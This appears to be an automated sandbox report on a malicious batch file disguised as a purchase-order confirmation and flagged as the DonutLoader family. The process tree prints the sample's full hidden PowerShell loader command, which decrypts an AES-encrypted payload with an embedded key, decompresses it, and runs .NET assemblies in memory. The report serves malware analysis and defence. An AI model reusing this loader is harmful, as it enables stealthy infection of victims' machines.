Analysis
- max time kernel
149s - max time network
130s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 09:27
General
- Target REF-ORDER CONFIRMATION OF PO-R2045.bat
- Size 691KB
- Sample260423-le2e4sgv41
- SHA256 ae4506ade7e693e10580570cd6a6835138ebc99a9a1aaad36c19aad2a18d5dc0
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\REF-ORDER CONFIRMATION OF PO-R2045.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function MXXXK($DjliF){ $oGuBQ=New-Object System.IO.MemoryStream(,$DjliF); $rstGy=New-Object System.IO.MemoryStream; $xsRNK=New-Object System.IO.Compression.GZipStream($oGuBQ, [IO.Compression.CompressionMode]::Decompress); $xsRNK.CopyTo($rstGy); $xsRNK.Dispose(); $oGuBQ.Dispose(); $rstGy.Dispose(); $rstGy.ToArray();}function QGRJl($DjliF){ $OoyVM=[System.Security.Cryptography.Aes]::Create(); $OoyVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OoyVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OoyVM.Key=[System.Convert]::FromBase64String('6LW6Av1bkX5Sdemxdz0A7ysusJV0L4le22ZDNqUroC4='); $OoyVM.IV=[System.Convert]::FromBase64String('B/P3gBrU7zPzcqXuslyaZw=='); $WeMee=$OoyVM.CreateDecryptor(); $QRWOs=$WeMee.TransformFinalBlock($DjliF, 0, $DjliF.Length); $WeMee.Dispose(); $OoyVM.Dispose(); $QRWOs;}function Zwlya($DjliF,$zaJLX){ $JJkOl=[System.Reflection.Assembly]::Load([byte[]]$DjliF); $Riocm=$JJkOl.EntryPoint; $Riocm.Invoke($null, $zaJLX);}$Byncu = 'C:\Users\Admin\AppData\Local\Temp\REF-ORDER CONFIRMATION OF PO-R2045.bat';$host.UI.RawUI.WindowTitle = $Byncu;$uqbkA=[System.IO.File]::ReadAllText($Byncu).Split([Environment]::NewLine);foreach ($ZKQoB in $uqbkA) { if ($ZKQoB.StartsWith('mPiPdJYjroqCtzilYPrf')) { $pdsDJ=$ZKQoB.Substring(20); break; }}$WMjlM=[string[]]$pdsDJ.Split('\');$CTKUZ=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[0].Replace('#', '/').Replace('@', 'A'))));$NMmgT=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[1].Replace('#', '/').Replace('@', 'A'))));Zwlya $CTKUZ $null;Zwlya $NMmgT (,[string[]] (''));"2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 22483⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 22323⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2232 -ip 22321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2232 -ip 22321⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jfsyzzrc.3wq.ps1
memory/2232-14-0x0000000005E60000-0x00000000061B4000-memory.dmp
memory/2232-17-0x0000000007CF0000-0x000000000836A000-memory.dmp
memory/2232-3-0x00000000055C0000-0x0000000005BE8000-memory.dmp
memory/2232-4-0x0000000005BF0000-0x0000000005C12000-memory.dmp
memory/2232-5-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/2232-6-0x0000000005DF0000-0x0000000005E56000-memory.dmp
memory/2232-1-0x0000000002DF0000-0x0000000002E26000-memory.dmp
memory/2232-0-0x0000000002F50000-0x0000000002F60000-memory.dmp
memory/2232-2-0x0000000002F50000-0x0000000002F60000-memory.dmp
memory/2232-15-0x0000000006350000-0x000000000636E000-memory.dmp
memory/2232-16-0x0000000006390000-0x00000000063DC000-memory.dmp
memory/2232-18-0x00000000068E0000-0x00000000068FA000-memory.dmp
memory/2232-19-0x0000000001030000-0x0000000001038000-memory.dmp
memory/2232-20-0x00000000075A0000-0x0000000007624000-memory.dmp
memory/2232-24-0x0000000008370000-0x0000000009370000-memory.dmp
memory/2232-25-0x0000000000400000-0x0000000000479000-memory.dmp
memory/2232-28-0x0000000002D20000-0x0000000002D7F000-memory.dmp
memory/2232-29-0x0000000002E80000-0x0000000002EFE000-memory.dmp